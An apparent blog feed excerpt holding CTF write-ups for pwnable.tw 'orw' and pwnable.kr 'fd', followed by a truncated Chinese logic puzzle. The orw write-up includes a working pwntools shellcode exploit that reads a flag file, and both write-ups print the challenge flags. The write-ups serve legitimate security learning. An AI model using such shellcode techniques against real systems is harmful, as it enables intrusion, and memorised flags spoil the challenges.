      <![CDATA[<h1 id="challenge-description" tabindex="-1">Challenge description</h1><p>Read the flag from /home/orw/flag.<br>Only open read write syscall are allowed to use.</p><pre class="line-numbers language-none"><code class="language-none">nc chall.pwnable.tw 10001<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>I don’t know why Microsoft Defender suggests it’s a virus, lol.<br>Let’s do it on Kali :)</p></blockquote><h1 id="inspection" tabindex="-1">Inspection</h1><h2 id="file" tabindex="-1" id="file">file</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">┌──<span class="token punctuation">(</span>kali㉿kali<span class="token punctuation">)</span>-<span class="token punctuation">[</span>~/Desktop<span class="token punctuation">]</span>└─$ <span class="token function">file</span> orw           orw: ELF <span class="token number">32</span>-bit LSB executable, Intel i386, version <span class="token number">1</span> <span class="token punctuation">(</span>SYSV<span class="token punctuation">)</span>, dynamically linked, interpreter /lib/ld-linux.so.2, <span class="token keyword">for</span> GNU/Linux <span class="token number">2.6</span>.32, BuildID<span class="token punctuation">[</span>sha1<span class="token punctuation">]</span><span class="token operator">=</span>e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>It is a 32-bit x86 ELF binary.</p><h2 id="checksec" tabindex="-1" id="checksec">checksec</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">┌──<span class="token punctuation">(</span>kali㉿kali<span class="token punctuation">)</span>-<span class="token punctuation">[</span>~/Desktop<span class="token punctuation">]</span>└─$ checksec <span class="token parameter variable">--file</span><span class="token operator">=</span>orwRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILEPartial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   <span class="token number">74</span> Symbols        No    <span class="token number">0</span>               <span class="token number">2</span>               orw<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>Both NX and PIE are disabled.</p><h2 id="seccomp-tools" tabindex="-1" id="seccomp-tools">seccomp-tools</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">┌──<span class="token punctuation">(</span>kali㉿kali<span class="token punctuation">)</span>-<span class="token punctuation">[</span>~/Desktop<span class="token punctuation">]</span>└─$ seccomp-tools dump ./orw line  CODE  JT   JF      K<span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">=</span> 0000: 0x20 0x00 0x00 0x00000004  A <span class="token operator">=</span> arch 0001: 0x15 0x00 0x09 0x40000003  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">!=</span> ARCH_I386<span class="token punctuation">)</span> goto 0011 0002: 0x20 0x00 0x00 0x00000000  A <span class="token operator">=</span> sys_number 0003: 0x15 0x07 0x00 0x000000ad  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> rt_sigreturn<span class="token punctuation">)</span> goto 0011 0004: 0x15 0x06 0x00 0x00000077  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> sigreturn<span class="token punctuation">)</span> goto 0011 0005: 0x15 0x05 0x00 0x000000fc  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> exit_group<span class="token punctuation">)</span> goto 0011 0006: 0x15 0x04 0x00 0x00000001  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> <span class="token builtin class-name">exit</span><span class="token punctuation">)</span> goto 0011 0007: 0x15 0x03 0x00 0x00000005  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> <span class="token function">open</span><span class="token punctuation">)</span> goto 0011 0008: 0x15 0x02 0x00 0x00000003  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> <span class="token builtin class-name">read</span><span class="token punctuation">)</span> goto 0011 0009: 0x15 0x01 0x00 0x00000004  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> <span class="token function">write</span><span class="token punctuation">)</span> goto 0011 0010: 0x06 0x00 0x00 0x00050026  <span class="token builtin class-name">return</span> ERRNO<span class="token punctuation">(</span><span class="token number">38</span><span class="token punctuation">)</span> 0011: 0x06 0x00 0x00 0x7fff0000  <span class="token builtin class-name">return</span> ALLOW<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>As stated in the challenge description, only the open, read, and write syscalls are allowed.</p><h2 id="decompile" tabindex="-1" id="Decompile">Decompile</h2><p>Decompiling the binary with Ghidra gives the following code:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">undefined4 <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">orw_seccomp</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Give my your shellcode:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">read</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span>shellcode<span class="token punctuation">,</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span>code <span class="token operator">*</span><span class="token punctuation">)</span>shellcode<span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It simply asks for shellcode and execute it directly. Therefore, all we need to do is construct a valid shellcode.</p><h1 id="solving" tabindex="-1">Solving</h1><p>We will invoke the open, read, and write syscalls in sequence to print the flag.<br>Referring to <a href="https://x86.syscall.sh">https://x86.syscall.sh</a>, we can see the required arguments the registers used to pass them. You can write the shellcode manually, but I will use pwntools’ built-in function, <code>shellcraft</code>, to keep the task simple. The exploit should be easy to understand:</p><pre class="line-numbers language-python" data-language="python"><div class="caption"><span>exploit.py</span></div><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">.</span>arch <span class="token operator">=</span> <span class="token string">"i386"</span>context<span class="token punctuation">.</span>os <span class="token operator">=</span> <span class="token string">"linux"</span>io <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"chall.pwnable.tw"</span><span class="token punctuation">,</span> <span class="token number">10001</span><span class="token punctuation">)</span>sc <span class="token operator">=</span> asm<span class="token punctuation">(</span>        shellcraft<span class="token punctuation">.</span><span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">b'/home/orw/flag'</span><span class="token punctuation">)</span> <span class="token operator">+</span>        shellcraft<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token string">'eax'</span><span class="token punctuation">,</span> <span class="token string">'esp'</span><span class="token punctuation">,</span> <span class="token string">'0x50'</span><span class="token punctuation">)</span> <span class="token operator">+</span>        shellcraft<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'esp'</span><span class="token punctuation">,</span> <span class="token string">'0x50'</span><span class="token punctuation">)</span>        <span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token string">b'Give my your shellcode:'</span><span class="token punctuation">,</span> sc<span class="token punctuation">)</span>info<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"The flag is: </span><span class="token interpolation"><span class="token punctuation">&#123;</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>b'<span class="token punctuation">&#125;</span></span><span class="token string">').decode()&#125;"</span></span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>We use the return value (stored in <code>$eax</code>) as the first argument to the read function. This value is the file descriptor of the flag file that we just opened.<br>We pass <code>1</code> to the write function because file descriptor <code>1</code> corresponds to stdout.</p><p>Run the script and get the flag!</p><p>Flag: <code>FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}</code></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/29/pwnable-tw-orw-Writeup/</id>
    <link href="https://r3xdj.pages.dev/2026/06/29/pwnable-tw-orw-Writeup/"/>
    <published>2026-06-29T04:28:08.000Z</published>
    <summary>
      <![CDATA[<h1 id="challenge-description" tabindex="-1">Challenge description</h1>
<p>Read the flag from /home/orw/flag.<br>
Only open read write sysca]]>
    </summary>
    <title>pwnable.tw - orw Writeup</title>
    <updated>2026-06-29T04:28:08.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="CTF Writeup" scheme="https://r3xdj.pages.dev/categories/Cyber/CTF-Writeup/"/>
    <category term="pwn" scheme="https://r3xdj.pages.dev/tags/pwn/"/>
    <category term="pwnablekr" scheme="https://r3xdj.pages.dev/tags/pwnablekr/"/>
    <category term="fd" scheme="https://r3xdj.pages.dev/tags/fd/"/>
    <category term="linux" scheme="https://r3xdj.pages.dev/tags/linux/"/>
    <content>
      <![CDATA[<h1 id="challenge-description" tabindex="-1">Challenge Description</h1><p>Mommy! what is a file descriptor in Linux?</p><p>* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:<br><a href="https://youtu.be/971eZhMHQQw">https://youtu.be/971eZhMHQQw</a></p><pre class="line-numbers language-none"><code class="language-none">ssh fd@pwnable.kr -p2222 (pw:guest)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h1 id="solution" tabindex="-1">Solution</h1><p>Log in to the shell and list the current directory.</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">fd@ubuntu:~$ <span class="token function">ls</span>fd  fd.c  flag  readme<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>Try to cat the flag, we get “Permission denied”.</p><p>So, we inspect the source code of <code>fd.c</code></p><pre class="line-numbers language-c" data-language="c"><div class="caption"><span>fd.c</span></div><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token keyword">char</span> buf<span class="token punctuation">[</span><span class="token number">32</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span><span class="token operator">*</span> argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">char</span><span class="token operator">*</span> envp<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>argc<span class="token operator">&lt;</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"pass argv[1] a number\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">int</span> fd <span class="token operator">=</span> <span class="token function">atoi</span><span class="token punctuation">(</span> argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1234</span><span class="token punctuation">;</span>        <span class="token keyword">int</span> len <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>        len <span class="token operator">=</span> <span class="token function">read</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> buf<span class="token punctuation">,</span> <span class="token number">32</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">strcmp</span><span class="token punctuation">(</span><span class="token string">"LETMEWIN\n"</span><span class="token punctuation">,</span> buf<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"good job :)\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token function">setregid</span><span class="token punctuation">(</span><span class="token function">getegid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">getegid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token function">system</span><span class="token punctuation">(</span><span class="token string">"/bin/cat flag"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"learn about Linux file IO\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>For reference, <code>atoi</code> converts a string to an integer.</p></blockquote><p>We need to pass in an argument, and the program will subtract it by 0x1234, which is 4660 in decimal.<br>Next, it treats this value as the file descriptor, then read from that file descriptor.<br>We know there are three default file descriptors: <code>0</code> for standard input (stdin), <code>1</code> for standard output (stdout), and <code>2</code> for standard error (stderr). The only one whose input we can control is stdin, so we use <code>./fd 4660</code> to make <code>fd</code> equal to 0, then enter <code>LETMEWIN</code>.<br>Here is the output:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">fd@ubuntu:~$ ./fd <span class="token number">4660</span>LETMEWINgood job <span class="token builtin class-name">:</span><span class="token punctuation">)</span>Mama<span class="token operator">!</span> Now_I_understand_what_file_descriptors_are<span class="token operator">!</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>Flag: <code>Mama! Now_I_understand_what_file_descriptors_are!</code></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/29/pwnable-kr-fd-Writeup/</id>
    <link href="https://r3xdj.pages.dev/2026/06/29/pwnable-kr-fd-Writeup/"/>
    <published>2026-06-29T03:15:51.000Z</published>
    <summary>
      <![CDATA[<h1 id="challenge-description" tabindex="-1">Challenge Description</h1>
<p>Mommy! what is a file descriptor in Linux?</p>
<p>* try to play t]]>
    </summary>
    <title>pwnable.kr - fd Writeup</title>
    <updated>2026-06-29T03:15:51.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Math" scheme="https://r3xdj.pages.dev/categories/Math/"/>
    <category term="Logic" scheme="https://r3xdj.pages.dev/categories/Math/Logic/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="logic" scheme="https://r3xdj.pages.dev/tags/logic/"/>
    <category term="puzzle" scheme="https://r3xdj.pages.dev/tags/puzzle/"/>
    <content>
      <![CDATA[<blockquote><p>甲：乙不知道這兩個數是什麼<br>丙：我知道這兩個數是什麼了</p></blockquote><h1 id="%E6%95%B8%E5%AD%97%E7%8B%BC%E4%BA%BA%E6%AE%BA" tabindex="-1">數字狼人殺</h1><p>我在升高三暑假某次靈機一動，覺得可以把誰說謊誰誠實，跟我知道你不知道兩種邏輯題結合起來。於是我在數學培訓就開始想，回家後打開Excel去湊數字，搞了好幾天終於設計出了這個魔王題！<s>但好像大家都懶得挑戰w</s></p><h2 id="%E9%A1%8C%E7%9B%AE%E6%95%98%E8%BF%B0" tabindex="-1" id="題目敘述">題目敘述</h2><p>小明選取了兩個正整數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>，滿足<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>&lt;</mo><mi>x</mi><mo>&lt;</mo><mi>y</mi><mo>&lt;</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">1&lt;x&lt;y&lt;10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>，他將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴甲、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴乙、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴丙。已知甲、乙、丙皆有可能說實話或謊話，但說實話者永遠說實話，說謊話者永遠說謊話，且在開始對話前，甲、乙、丙三人互相對彼此說實話或謊話的情形一無所知。假設甲、乙、丙都是絕頂聰明的，能運用所有現有知識做出盡可能多的推論，現在，他們開始以下對話：</p><p>甲：我不知道這兩個數是什麼，但我知道這兩個數中一定有奇數<br>乙：我不知道這兩個數是什麼<br>丙：我不知道這個數是什麼，不過甲在說謊<br>甲：乙不知道這兩個數是什麼<br>乙：的確，我不知道<br>丙：甲不知道這兩個數是多少，而且乙在說謊<br>甲：我不完全知道乙和丙是否說謊的全部實情<br>乙：我手上的數字(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>)是偶數<br>丙：我現在知道這兩個數是什麼</p><p>(註：三人都是在確認自己說的話一定是實話或謊話才會講，以避免說出不小心說出不符合自己人設的話；另外，要整句話皆為真才是實話)<br>請問：</p><p>(以下2~5題皆承接1.，即假設真正的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>即是使<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>達最小的那組)</p><ol><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span> 的所有可能為何？使得<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>最小的那組<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>為何？</p></li><li><p>丙說完他的第二句話後，據甲所知所有他認為有可能的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>所組成的最小集合為何？</p></li><li><p>甲、乙、丙三人知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>確切值的順序為何？分別在何時就知道了？</p></li><li><p>原對話刪除其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>句，且確保三人的邏輯嚴謹與合理，若欲使丙仍能判斷出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>的確切數值，試求出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的最大值，以及具體刪除哪幾句？</p></li></ol><blockquote><p>為了以下論述方便，我們使用<code>說話人-全部句數中第幾句</code>對句子進行編號，譬如<code>乙-5</code>為「的確，我不知道」；另外，以T代表說實話者，F代表說謊者；再者，若論述提及「某人不知道」，未註明時均指他「不知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>兩數的確切數值」。</p></blockquote><hr><h2 id="%E7%B0%A1%E7%AD%94" tabindex="-1" id="簡答">簡答</h2><details><summary>點我展開</summary><ol><li><p>所有可能為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo>∨</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)\vee(5,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" 